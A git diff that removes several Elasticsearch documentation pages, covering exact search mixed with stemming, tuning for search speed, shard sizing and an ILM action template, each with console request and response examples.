---------------------------------------------------
-// TEST
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-GET _search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match": { "body": "elasticsearch" }
-      },
-      "should": {
-        "rank_feature": {
-          "field": "pagerank", <1>
-          "saturation": {
-            "pivot": 10
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> `pagerank` must be mapped as a <<rank-feature,`rank_feature`>> field
-
-While both options would return similar scores, there are trade-offs:
-<<query-dsl-script-score-query,script_score>> provides a lot of flexibility,
-enabling you to combine the text relevance score with static signals as you
-prefer. On the other hand, the <<rank-feature,`rank_feature` query>> only
-exposes a couple ways to incorporate static signails into the score. However,
-it relies on the <<rank-feature,`rank_feature`>> and
-<<rank-features,`rank_features`>> fields, which index values in a special way
-that allows the <<query-dsl-rank-feature-query,`rank_feature` query>> to skip
-over non-competitive documents and get the top matches of a query faster.
diff --git a/docs/reference/how-to/recipes/stemming.asciidoc b/docs/reference/how-to/recipes/stemming.asciidoc
deleted file mode 100644
index 462998c82b3..00000000000
--- a/docs/reference/how-to/recipes/stemming.asciidoc
+++ /dev/null
@@ -1,229 +0,0 @@
-[[mixing-exact-search-with-stemming]]
-=== Mixing exact search with stemming
-
-When building a search application, stemming is often a must as it is desirable
-for a query on `skiing` to match documents that contain `ski` or `skis`. But
-what if a user wants to search for `skiing` specifically? The typical way to do
-this would be to use a <<multi-fields,multi-field>> in order to have the same
-content indexed in two different ways:
-
-[source,console]
---------------------------------------------------
-PUT index
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "english_exact": {
-          "tokenizer": "standard",
-          "filter": [
-            "lowercase"
-          ]
-        }
-      }
-    }
-  },
-  "mappings": {
-    "properties": {
-      "body": {
-        "type": "text",
-        "analyzer": "english",
-        "fields": {
-          "exact": {
-            "type": "text",
-            "analyzer": "english_exact"
-          }
-        }
-      }
-    }
-  }
-}
-
-PUT index/_doc/1
-{
-  "body": "Ski resort"
-}
-
-PUT index/_doc/2
-{
-  "body": "A pair of skis"
-}
-
-POST index/_refresh
---------------------------------------------------
-
-With such a setup, searching for `ski` on `body` would return both documents:
-
-[source,console]
---------------------------------------------------
-GET index/_search
-{
-  "query": {
-    "simple_query_string": {
-      "fields": [ "body" ],
-      "query": "ski"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 2,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped" : 0,
-    "failed": 0
-  },
-  "hits": {
-    "total" : {
-        "value": 2,
-        "relation": "eq"
-    },
-    "max_score": 0.18232156,
-    "hits": [
-      {
-        "_index": "index",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 0.18232156,
-        "_source": {
-          "body": "Ski resort"
-        }
-      },
-      {
-        "_index": "index",
-        "_type": "_doc",
-        "_id": "2",
-        "_score": 0.18232156,
-        "_source": {
-          "body": "A pair of skis"
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 2,/"took": "$body.took",/]
-
-On the other hand, searching for `ski` on `body.exact` would only return
-document `1` since the analysis chain of `body.exact` does not perform
-stemming.
-
-[source,console]
---------------------------------------------------
-GET index/_search
-{
-  "query": {
-    "simple_query_string": {
-      "fields": [ "body.exact" ],
-      "query": "ski"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 1,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped" : 0,
-    "failed": 0
-  },
-  "hits": {
-    "total" : {
-        "value": 1,
-        "relation": "eq"
-    },
-    "max_score": 0.8025915,
-    "hits": [
-      {
-        "_index": "index",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 0.8025915,
-        "_source": {
-          "body": "Ski resort"
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 1,/"took": "$body.took",/]
-
-This is not something that is easy to expose to end users, as we would need to
-have a way to figure out whether they are looking for an exact match or not and
-redirect to the appropriate field accordingly. Also what to do if only parts of
-the query need to be matched exactly while other parts should still take
-stemming into account?
-
-Fortunately, the `query_string` and `simple_query_string` queries have a feature
-that solves this exact problem: `quote_field_suffix`. This tells Elasticsearch
-that the words that appear in between quotes are to be redirected to a different
-field, see below:
-
-[source,console]
---------------------------------------------------
-GET index/_search
-{
-  "query": {
-    "simple_query_string": {
-      "fields": [ "body" ],
-      "quote_field_suffix": ".exact",
-      "query": "\"ski\""
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 2,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped" : 0,
-    "failed": 0
-  },
-  "hits": {
-    "total" : {
-        "value": 1,
-        "relation": "eq"
-    },
-    "max_score": 0.8025915,
-    "hits": [
-      {
-        "_index": "index",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 0.8025915,
-        "_source": {
-          "body": "Ski resort"
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 2,/"took": "$body.took",/]
-
-In the above case, since `ski` was in-between quotes, it was searched on the
-`body.exact` field due to the `quote_field_suffix` parameter, so only document
-`1` matched. This allows users to mix exact search with stemmed search as they
-like.
-
-NOTE: If the choice of field passed in `quote_field_suffix` does not exist 
-the search will fall back to using the default field for the query string.
diff --git a/docs/reference/how-to/search-speed.asciidoc b/docs/reference/how-to/search-speed.asciidoc
deleted file mode 100644
index e51c7fa2b78..00000000000
--- a/docs/reference/how-to/search-speed.asciidoc
+++ /dev/null
@@ -1,536 +0,0 @@
-[[tune-for-search-speed]]
-== Tune for search speed
-
-[discrete]
-=== Give memory to the filesystem cache
-
-Elasticsearch heavily relies on the filesystem cache in order to make search
-fast. In general, you should make sure that at least half the available memory
-goes to the filesystem cache so that Elasticsearch can keep hot regions of the
-index in physical memory.
-
-[discrete]
-=== Use faster hardware
-
-If your search is I/O bound, you should investigate giving more memory to the
-filesystem cache (see above) or buying faster drives. In particular SSD drives
-are known to perform better than spinning disks. Always use local storage,
-remote filesystems such as `NFS` or `SMB` should be avoided. Also beware of
-virtualized storage such as Amazon's `Elastic Block Storage`. Virtualized
-storage works very well with Elasticsearch, and it is appealing since it is so
-fast and simple to set up, but it is also unfortunately inherently slower on an
-ongoing basis when compared to dedicated local storage. If you put an index on
-`EBS`, be sure to use provisioned IOPS otherwise operations could be quickly
-throttled.
-
-If your search is CPU-bound, you should investigate buying faster CPUs.
-
-[discrete]
-=== Document modeling
-
-Documents should be modeled so that search-time operations are as cheap as possible.
-
-In particular, joins should be avoided. <<nested,`nested`>> can make queries
-several times slower and <<parent-join,parent-child>> relations can make
-queries hundreds of times slower. So if the same questions can be answered without
-joins by denormalizing documents, significant speedups can be expected.
-
-[discrete]
-[[search-as-few-fields-as-possible]]
-=== Search as few fields as possible
-
-The more fields a <<query-dsl-query-string-query,`query_string`>> or
-<<query-dsl-multi-match-query,`multi_match`>> query targets, the slower it is.
-A common technique to improve search speed over multiple fields is to copy
-their values into a single field at index time, and then use this field at
-search time. This can be automated with the <<copy-to,`copy-to`>> directive of
-mappings without having to change the source of documents. Here is an example
-of an index containing movies that optimizes queries that search over both the
-name and the plot of the movie by indexing both values into the `name_and_plot`
-field.
-
-[source,console]
---------------------------------------------------
-PUT movies
-{
-  "mappings": {
-    "properties": {
-      "name_and_plot": {
-        "type": "text"
-      },
-      "name": {
-        "type": "text",
-        "copy_to": "name_and_plot"
-      },
-      "plot": {
-        "type": "text",
-        "copy_to": "name_and_plot"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-=== Pre-index data
-
-You should leverage patterns in your queries to optimize the way data is indexed.
-For instance, if all your documents have a `price` field and most queries run
-<<search-aggregations-bucket-range-aggregation,`range`>> aggregations on a fixed
-list of ranges, you could make this aggregation faster by pre-indexing the ranges
-into the index and using a <<search-aggregations-bucket-terms-aggregation,`terms`>>
-aggregations.
-
-For instance, if documents look like:
-
-[source,console]
---------------------------------------------------
-PUT index/_doc/1
-{
-  "designation": "spoon",
-  "price": 13
-}
---------------------------------------------------
-
-and search requests look like:
-
-[source,console]
---------------------------------------------------
-GET index/_search
-{
-  "aggs": {
-    "price_ranges": {
-      "range": {
-        "field": "price",
-        "ranges": [
-          { "to": 10 },
-          { "from": 10, "to": 100 },
-          { "from": 100 }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-Then documents could be enriched by a `price_range` field at index time, which
-should be mapped as a <<keyword,`keyword`>>:
-
-[source,console]
---------------------------------------------------
-PUT index
-{
-  "mappings": {
-    "properties": {
-      "price_range": {
-        "type": "keyword"
-      }
-    }
-  }
-}
-
-PUT index/_doc/1
-{
-  "designation": "spoon",
-  "price": 13,
-  "price_range": "10-100"
-}
---------------------------------------------------
-
-And then search requests could aggregate this new field rather than running a
-`range` aggregation on the `price` field.
-
-[source,console]
---------------------------------------------------
-GET index/_search
-{
-  "aggs": {
-    "price_ranges": {
-      "terms": {
-        "field": "price_range"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[discrete]
-[[map-ids-as-keyword]]
-=== Consider mapping identifiers as `keyword`
-
-include::../mapping/types/numeric.asciidoc[tag=map-ids-as-keyword]
-
-[discrete]
-=== Avoid scripts
-
-If possible, avoid using <<modules-scripting,scripts>> or
-<<script-fields,scripted fields>> in searches. See
-<<scripts-and-search-speed>>.
-
-
-[discrete]
-=== Search rounded dates
-
-Queries on date fields that use `now` are typically not cacheable since the
-range that is being matched changes all the time. However switching to a
-rounded date is often acceptable in terms of user experience, and has the
-benefit of making better use of the query cache.
-
-For instance the below query:
-
-[source,console]
---------------------------------------------------
-PUT index/_doc/1
-{
-  "my_date": "2016-05-11T16:30:55.328Z"
-}
-
-GET index/_search
-{
-  "query": {
-    "constant_score": {
-      "filter": {
-        "range": {
-          "my_date": {
-            "gte": "now-1h",
-            "lte": "now"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-could be replaced with the following query:
-
-[source,console]
---------------------------------------------------
-GET index/_search
-{
-  "query": {
-    "constant_score": {
-      "filter": {
-        "range": {
-          "my_date": {
-            "gte": "now-1h/m",
-            "lte": "now/m"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-In that case we rounded to the minute, so if the current time is `16:31:29`,
-the range query will match everything whose value of the `my_date` field is
-between `15:31:00` and `16:31:59`. And if several users run a query that
-contains this range in the same minute, the query cache could help speed things
-up a bit. The longer the interval that is used for rounding, the more the query
-cache can help, but beware that too aggressive rounding might also hurt user
-experience.
-
-
-NOTE: It might be tempting to split ranges into a large cacheable part and
-smaller not cacheable parts in order to be able to leverage the query cache,
-as shown below:
-
-[source,console]
---------------------------------------------------
-GET index/_search
-{
-  "query": {
-    "constant_score": {
-      "filter": {
-        "bool": {
-          "should": [
-            {
-              "range": {
-                "my_date": {
-                  "gte": "now-1h",
-                  "lte": "now-1h/m"
-                }
-              }
-            },
-            {
-              "range": {
-                "my_date": {
-                  "gt": "now-1h/m",
-                  "lt": "now/m"
-                }
-              }
-            },
-            {
-              "range": {
-                "my_date": {
-                  "gte": "now/m",
-                  "lte": "now"
-                }
-              }
-            }
-          ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-However such practice might make the query run slower in some cases since the
-overhead introduced by the `bool` query may defeat the savings from better
-leveraging the query cache.
-
-[discrete]
-=== Force-merge read-only indices
-
-Indices that are read-only may benefit from being <<indices-forcemerge,merged
-down to a single segment>>. This is typically the case with time-based indices:
-only the index for the current time frame is getting new documents while older
-indices are read-only. Shards that have been force-merged into a single segment
-can use simpler and more efficient data structures to perform searches.
-
-IMPORTANT: Do not force-merge indices to which you are still writing, or to
-which you will write again in the future. Instead, rely on the automatic
-background merge process to perform merges as needed to keep the index running
-smoothly. If you continue to write to a force-merged index then its performance
-may become much worse.
-
-[discrete]
-=== Warm up global ordinals
-
-<<eager-global-ordinals,Global ordinals>> are a data structure that is used to
-optimize the performance of aggregations. They are calculated lazily and stored in
-the JVM heap as part of the <<modules-fielddata, field data cache>>. For fields
-that are heavily used for bucketing aggregations, you can tell {es} to construct
-and cache the global ordinals before requests are received. This should be done
-carefully because it will increase heap usage and can make <<indices-refresh, refreshes>>
-take longer. The option can be updated dynamically on an existing mapping by
-setting the <<eager-global-ordinals, eager global ordinals>> mapping parameter:
-
-[source,console]
---------------------------------------------------
-PUT index
-{
-  "mappings": {
-    "properties": {
-      "foo": {
-        "type": "keyword",
-        "eager_global_ordinals": true
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-=== Warm up the filesystem cache
-
-If the machine running Elasticsearch is restarted, the filesystem cache will be
-empty, so it will take some time before the operating system loads hot regions
-of the index into memory so that search operations are fast. You can explicitly
-tell the operating system which files should be loaded into memory eagerly
-depending on the file extension using the
-<<preload-data-to-file-system-cache,`index.store.preload`>> setting.
-
-WARNING: Loading data into the filesystem cache eagerly on too many indices or
-too many files will make search _slower_ if the filesystem cache is not large
-enough to hold all the data. Use with caution.
-
-[discrete]
-=== Use index sorting to speed up conjunctions
-
-<<index-modules-index-sorting,Index sorting>> can be useful in order to make
-conjunctions faster at the cost of slightly slower indexing. Read more about it
-in the <<index-modules-index-sorting-conjunctions,index sorting documentation>>.
-
-[discrete]
-[[preference-cache-optimization]]
-=== Use `preference` to optimize cache utilization
-
-There are multiple caches that can help with search performance, such as the
-{wikipedia}/Page_cache[filesystem cache], the
-<<shard-request-cache,request cache>> or the <<query-cache,query cache>>. Yet
-all these caches are maintained at the node level, meaning that if you run the
-same request twice in a row, have 1 <<glossary-replica-shard,replica>> or more
-and use {wikipedia}/Round-robin_DNS[round-robin], the default
-routing algorithm, then those two requests will go to different shard copies,
-preventing node-level caches from helping.
-
-Since it is common for users of a search application to run similar requests
-one after another, for instance in order to analyze a narrower subset of the
-index, using a preference value that identifies the current user or session
-could help optimize usage of the caches.
-
-[discrete]
-=== Replicas might help with throughput, but not always
-
-In addition to improving resiliency, replicas can help improve throughput. For
-instance if you have a single-shard index and three nodes, you will need to
-set the number of replicas to 2 in order to have 3 copies of your shard in
-total so that all nodes are utilized.
-
-Now imagine that you have a 2-shards index and two nodes. In one case, the
-number of replicas is 0, meaning that each node holds a single shard. In the
-second case the number of replicas is 1, meaning that each node has two shards.
-Which setup is going to perform best in terms of search performance? Usually,
-the setup that has fewer shards per node in total will perform better. The
-reason for that is that it gives a greater share of the available filesystem
-cache to each shard, and the filesystem cache is probably Elasticsearch's
-number 1 performance factor. At the same time, beware that a setup that does
-not have replicas is subject to failure in case of a single node failure, so
-there is a trade-off between throughput and availability.
-
-So what is the right number of replicas? If you have a cluster that has
-`num_nodes` nodes, `num_primaries` primary shards _in total_ and if you want to
-be able to cope with `max_failures` node failures at once at most, then the
-right number of replicas for you is
-`max(max_failures, ceil(num_nodes / num_primaries) - 1)`.
-
-=== Tune your queries with the Profile API
-
-You can also analyse how expensive each component of your queries and
-aggregations are using the {ref}/search-profile.html[Profile API]. This might
-allow you to tune your queries to be less expensive, resulting in a positive
-performance result and reduced load. Also note that Profile API payloads can be
-easily visualised for better readability in the
-{kibana-ref}/xpack-profiler.html[Search Profiler], which is a Kibana dev tools
-UI available in all X-Pack licenses, including the free X-Pack Basic license.
-
-Some caveats to the Profile API are that:
-
- - the Profile API as a debugging tool adds significant overhead to search execution and can also have a very verbose output
- - given the added overhead, the resulting took times are not reliable indicators of actual took time, but can be used comparatively between clauses for relative timing differences
- - the Profile API is best for exploring possible reasons behind the most costly clauses of a query but isn't intended for accurately measuring absolute timings of each clause
-
-[[faster-phrase-queries]]
-=== Faster phrase queries with `index_phrases`
-
-The <<text,`text`>> field has an <<index-phrases,`index_phrases`>> option that
-indexes 2-shingles and is automatically leveraged by query parsers to run phrase
-queries that don't have a slop. If your use-case involves running lots of phrase
-queries, this can speed up queries significantly.
-
-[[faster-prefix-queries]]
-=== Faster prefix queries with `index_prefixes`
-
-The <<text,`text`>> field has an <<index-prefixes,`index_prefixes`>> option that
-indexes prefixes of all terms and is automatically leveraged by query parsers to
-run prefix queries. If your use-case involves running lots of prefix queries,
-this can speed up queries significantly.
-
-[[faster-filtering-with-constant-keyword]]
-=== Use `constant_keyword` to speed up filtering
-
-There is a general rule that the cost of a filter is mostly a function of the
-number of matched documents. Imagine that you have an index containing cycles.
-There are a large number of bicycles and many searches perform a filter on
-`cycle_type: bicycle`. This very common filter is unfortunately also very costly
-since it matches most documents. There is a simple way to avoid running this
-filter: move bicycles to their own index and filter bicycles by searching this
-index instead of adding a filter to the query.
-
-Unfortunately this can make client-side logic tricky, which is where
-`constant_keyword` helps. By mapping `cycle_type` as a `constant_keyword` with
-value `bicycle` on the index that contains bicycles, clients can keep running
-the exact same queries as they used to run on the monolithic index and
-Elasticsearch will do the right thing on the bicycles index by ignoring filters
-on `cycle_type` if the value is `bicycle` and returning no hits otherwise.
-
-Here is what mappings could look like:
-
-[source,console]
---------------------------------------------------
-PUT bicycles
-{
-  "mappings": {
-    "properties": {
-      "cycle_type": {
-        "type": "constant_keyword",
-        "value": "bicycle"
-      },
-      "name": {
-        "type": "text"
-      }
-    }
-  }
-}
-
-PUT other_cycles
-{
-  "mappings": {
-    "properties": {
-      "cycle_type": {
-        "type": "keyword"
-      },
-      "name": {
-        "type": "text"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-We are splitting our index in two: one that will contain only bicycles, and
-another one that contains other cycles: unicycles, tricycles, etc. Then at
-search time, we need to search both indices, but we don't need to modify
-queries.
-
-
-[source,console]
---------------------------------------------------
-GET bicycles,other_cycles/_search
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match": {
-          "description": "dutch"
-        }
-      },
-      "filter": {
-        "term": {
-          "cycle_type": "bicycle"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-On the `bicycles` index, Elasticsearch will simply ignore the `cycle_type`
-filter and rewrite the search request to the one below:
-
-[source,console]
---------------------------------------------------
-GET bicycles,other_cycles/_search
-{
-  "query": {
-    "match": {
-      "description": "dutch"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-On the `other_cycles` index, Elasticsearch will quickly figure out that
-`bicycle` doesn't exist in the terms dictionary of the `cycle_type` field and
-return a search response with no hits.
-
-This is a powerful way of making queries cheaper by putting common values in a
-dedicated index. This idea can also be combined across multiple fields: for
-instance if you track the color of each cycle and your `bicycles` index ends up
-having a majority of black bikes, you could split it into a `bicycles-black`
-and a `bicycles-other-colors` indices.
-
-The `constant_keyword` is not strictly required for this optimization: it is
-also possible to update the client-side logic in order to route queries to the
-relevant indices based on filters. However `constant_keyword` makes it
-transparently and allows to decouple search requests from the index topology in
-exchange of very little overhead.
diff --git a/docs/reference/how-to/size-your-shards.asciidoc b/docs/reference/how-to/size-your-shards.asciidoc
deleted file mode 100644
index 1bc9b050b19..00000000000
--- a/docs/reference/how-to/size-your-shards.asciidoc
+++ /dev/null
@@ -1,288 +0,0 @@
-[[size-your-shards]]
-== How to size your shards
-++++
-<titleabbrev>Size your shards</titleabbrev>
-++++
-
-To protect against hardware failure and increase capacity, {es} stores copies of
-an index’s data across multiple shards on multiple nodes. The number and size of
-these shards can have a significant impact on your cluster's health. One common
-problem is _oversharding_, a situation in which a cluster with a large number of
-shards becomes unstable.
-
-[discrete]
-[[create-a-sharding-strategy]]
-=== Create a sharding strategy
-
-The best way to prevent oversharding and other shard-related issues
-is to create a sharding strategy. A sharding strategy helps you determine and
-maintain the optimal number of shards for your cluster while limiting the size
-of those shards.
-
-Unfortunately, there is no one-size-fits-all sharding strategy. A strategy that
-works in one environment may not scale in another. A good sharding strategy must
-account for your infrastructure, use case, and performance expectations.
-
-The best way to create a sharding strategy is to benchmark your production data
-on production hardware using the same queries and indexing loads you'd see in
-production. For our recommended methodology, watch the
-https://www.elastic.co/elasticon/conf/2016/sf/quantitative-cluster-sizing[quantitative
-cluster sizing video]. As you test different shard configurations, use {kib}'s
-{kibana-ref}/elasticsearch-metrics.html[{es} monitoring tools] to track your
-cluster's stability and performance.
-
-The following sections provide some reminders and guidelines you should consider
-when designing your sharding strategy. If your cluster has shard-related
-problems, see <<fix-an-oversharded-cluster>>.
-
-[discrete]
-[[shard-sizing-considerations]]
-=== Sizing considerations
-
-Keep the following things in mind when building your sharding strategy.
-
-[discrete]
-[[single-thread-per-shard]]
-==== Searches run on a single thread per shard
-
-Most searches hit multiple shards. Each shard runs the search on a single
-CPU thread. While a shard can run multiple concurrent searches, searches across a
-large number of shards can deplete a node's <<modules-threadpool,search
-thread pool>>. This can result in low throughput and slow search speeds.
-
-[discrete]
-[[each-shard-has-overhead]]
-==== Each shard has overhead
-
-Every shard uses memory and CPU resources. In most cases, a small
-set of large shards uses fewer resources than many small shards.
-
-Segments play a big role in a shard's resource usage. Most shards contain
-several segments, which store its index data. {es} keeps segment metadata in
-<<heap-size,heap memory>> so it can be quickly retrieved for searches. As a
-shard grows, its segments are <<index-modules-merge,merged>> into fewer, larger
-segments. This decreases the number of segments, which means less metadata is
-kept in heap memory.
-
-[discrete]
-[[shard-auto-balance]]
-==== {es} automatically balances shards within a data tier
-
-A cluster's nodes are grouped into <<data-tiers,data tiers>>. Within each tier,
-{es} attempts to spread an index's shards across as many nodes as possible. When
-you add a new node or a node fails, {es} automatically rebalances the index's
-shards across the tier's remaining nodes.
-
-[discrete]
-[[shard-size-best-practices]]
-=== Best practices
-
-Where applicable, use the following best practices as starting points for your
-sharding strategy.
-
-[discrete]
-[[delete-indices-not-documents]]
-==== Delete indices, not documents
-
-Deleted documents aren't immediately removed from {es}'s file system.
-Instead, {es} marks the document as deleted on each related shard. The marked
-document will continue to use resources until it's removed during a periodic
-<<index-modules-merge,segment merge>>.
-
-When possible, delete entire indices instead. {es} can immediately remove
-deleted indices directly from the file system and free up resources.
-
-[discrete]
-[[use-ds-ilm-for-time-series]]
-==== Use data streams and {ilm-init} for time series data
-
-<<data-streams,Data streams>> let you store time series data across multiple,
-time-based backing indices. You can use <<index-lifecycle-management,{ilm}
-({ilm-init})>> to automatically manage these backing indices.
-
-[role="screenshot"]
-image:images/ilm/index-lifecycle-policies.png[]
-
-One advantage of this setup is
-<<getting-started-index-lifecycle-management,automatic rollover>>, which creates
-a new write index when the current one meets a defined `max_age`, `max_docs`, or
-`max_size` threshold. You can use these thresholds to create indices based on
-your retention intervals. When an index is no longer needed, you can use
-{ilm-init} to automatically delete it and free up resources.
-
-{ilm-init} also makes it easy to change your sharding strategy over time:
-
-* *Want to decrease the shard count for new indices?* +
-Change the <<index-number-of-shards,`index.number_of_shards`>> setting in the
-data stream's <<data-streams-change-mappings-and-settings,matching index
-template>>.
-
-* *Want larger shards?* +
-Increase your {ilm-init} policy's <<ilm-rollover,rollover threshold>>.
-
-* *Need indices that span shorter intervals?* +
-Offset the increased shard count by deleting older indices sooner. You can do
-this by lowering the `min_age` threshold for your policy's
-<<ilm-index-lifecycle,delete phase>>.
-
-Every new backing index is an opportunity to further tune your strategy.
-
-[discrete]
-[[shard-size-recommendation]]
-==== Aim for shard sizes between 10GB and 50GB
-
-Shards larger than 50GB may make a cluster less likely to recover from failure.
-When a node fails, {es} rebalances the node's shards across the data tier's
-remaining nodes. Shards larger than 50GB can be harder to move across a network
-and may tax node resources.
-
-[discrete]
-[[shard-count-recommendation]]
-==== Aim for 20 shards or fewer per GB of heap memory
-
-The number of shards a node can hold is proportional to the node's
-<<heap-size,heap memory>>. For example, a node with 30GB of heap memory should
-have at most 600 shards. The further below this limit you can keep your nodes,
-the better. If you find your nodes exceeding more than 20 shards per GB,
-consider adding another node. You can use the <<cat-shards,cat shards API>> to
-check the number of shards per node.
-
-[source,console]
-----
-GET _cat/shards?v=true
-----
-// TEST[setup:my_index]
-
-To use compressed pointers and save memory, we
-recommend each node have a maximum heap size of 32GB or 50% of the node's
-available memory, whichever is lower. See <<heap-size>>.
-
-
-[discrete]
-[[avoid-node-hotspots]]
-==== Avoid node hotspots
-
-If too many shards are allocated to a specific node, the node can become a
-hotspot. For example, if a single node contains too many shards for an index
-with a high indexing volume, the node is likely to have issues.
-
-To prevent hotspots, use the
-<<total-shards-per-node,`index.routing.allocation.total_shards_per_node`>> index
-setting to explicitly limit the number of shards on a single node. You can
-configure `index.routing.allocation.total_shards_per_node` using the
-<<indices-update-settings,update index settings API>>.
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001/_settings
-{
-  "index" : {
-    "routing.allocation.total_shards_per_node" : 5
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-
-[discrete]
-[[fix-an-oversharded-cluster]]
-=== Fix an oversharded cluster
-
-If your cluster is experiencing stability issues due to oversharded indices,
-you can use one or more of the following methods to fix them.
-
-[discrete]
-[[reindex-indices-from-shorter-periods-into-longer-periods]]
-==== Create time-based indices that cover longer periods
-
-For time series data, you can create indices that cover longer time intervals.
-For example, instead of daily indices, you can create indices on a monthly or
-yearly basis.
-
-If you're using {ilm-init}, you can do this by increasing the `max_age`
-threshold for the <<ilm-rollover,rollover action>>.
-
-If your retention policy allows it, you can also create larger indices by
-omitting a `max_age` threshold and using `max_docs` and/or `max_size`
-thresholds instead.
-
-[discrete]
-[[delete-empty-indices]]
-==== Delete empty or unneeded indices
-
-If you're using {ilm-init} and roll over indices based on a `max_age` threshold,
-you can inadvertently create indices with no documents. These empty indices
-provide no benefit but still consume resources.
-
-You can find these empty indices using the <<cat-count,cat count API>>.
-
-[source,console]
-----
-GET /_cat/count/my-index-000001?v=true
-----
-// TEST[setup:my_index]
-
-Once you have a list of empty indices, you can delete them using the
-<<indices-delete-index,delete index API>>. You can also delete any other
-unneeded indices.
-
-[source,console]
-----
-DELETE /my-index-*
-----
-// TEST[setup:my_index]
-
-[discrete]
-[[force-merge-during-off-peak-hours]]
-==== Force merge during off-peak hours
-
-If you no longer write to an index, you can use the <<indices-forcemerge,force
-merge API>> to <<index-modules-merge,merge>> smaller segments into larger ones.
-This can reduce shard overhead and improve search speeds. However, force merges
-are resource-intensive. If possible, run the force merge during off-peak hours.
-
-[source,console]
-----
-POST /my-index-000001/_forcemerge
-----
-// TEST[setup:my_index]
-
-[discrete]
-[[shrink-existing-index-to-fewer-shards]]
-==== Shrink an existing index to fewer shards
-
-If you no longer write to an index, you can use the
-<<indices-shrink-index,shrink index API>> to reduce its shard count.
-
-[source,console]
-----
-POST /my-index-000001/_shrink/my-shrunken-index-000001
-----
-// TEST[s/^/PUT my-index-000001\n{"settings":{"index.number_of_shards":2,"blocks.write":true}}\n/]
-
-{ilm-init} also has a <<ilm-shrink,shrink action>> for indices in the
-warm phase.
-
-[discrete]
-[[combine-smaller-indices]]
-==== Combine smaller indices
-
-You can also use the <<docs-reindex,reindex API>> to combine indices
-with similar mappings into a single large index. For time series data, you could
-reindex indices for short time periods into a new index covering a
-longer period. For example, you could reindex daily indices from October with a
-shared index pattern, such as `my-index-2099.10.11`, into a monthly
-`my-index-2099.10` index. After the reindex, delete the smaller indices.
-
-[source,console]
-----
-POST /_reindex
-{
-  "source": {
-    "index": "my-index-2099.10.*"
-  },
-  "dest": {
-    "index": "my-index-2099.10"
-  }
-}
-----
diff --git a/docs/reference/ilm/actions/_ilm-action-template.asciidoc b/docs/reference/ilm/actions/_ilm-action-template.asciidoc
deleted file mode 100644
index 29ce79ceb49..00000000000
--- a/docs/reference/ilm/actions/_ilm-action-template.asciidoc
+++ /dev/null
@@ -1,94 +0,0 @@
-////
-This is a template for ILM action reference documentation.
-
-To document a new action, copy this file, remove comments like this, and
-replace "sample" with the appropriate action name.
-
-Ensure the new action docs are linked and included in
-docs/reference/ilm/actions.asciidoc
-////
-
-[role="xpack"]
-[[ilm-sample]]
-=== Sample
-
-Phases allowed: hot, warm, cold, delete.
-
-////
-INTRO
-Include a brief, 1-2 sentence description.
-////
-
-Does a cool thing. 
-
-[[ilm-sample-options]]
-==== Options
-
-////
-Definition list of the options that can be specified for the action:
-
-If there are no options:
-
-None.
-////
-
-`sample_option1`::
-(Optional, integer)
-Number of something.
-
-`sample_option2`::
-(Required, string)
-Name of something.
-
-[[ilm-sample-ex]]
-==== Example
-
-////
-Basic example of configuring the action in an ILM policy.
-
-Additional examples are optional.
-////
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "actions": {
-          "sample" : {
-            "sample_option1" : 2
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[skip: Replace fake actions and remove this comment.]
-
-[[ilm-sample2-ex]]
-===== Describe example
-
-The sample action in the following policy does something interesting. 
-
-[source,console]
---------------------------------------------------
-PUT _ilm/policy/my_policy
-{
-  "policy": {
-    "phases": {
-      "warm": {
-        "actions": {
-          "sample" : {
-            "sample_option1" : 100,
-            "sample_option2" : "interesting"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[skip: Replace fake actions and remove this comment.]
diff --git a/docs/reference/ilm/actions/ilm-allocate.asciidoc b/docs/reference/ilm/actions/ilm-allocate.asciidoc
deleted file mode 100644
index 1dd181ebc44..00000000000
--- a/docs/reference/ilm/actions/ilm-allocate.asciidoc
+++ /dev/null
@@ -1,158 +0,0 @@
-[role="xpack"]
-[[ilm-allocate]]
-=== Allocate
-
-Phases allowed: warm, cold.
-
-Updates the index settings to change which nodes are allowed to host the index shards
-and change the number of replicas.
-
-The allocate action is not allowed in the hot phase. 
-The initial allocation for the index must be done manually or via 
-<<index-templates, index templates>>.
-
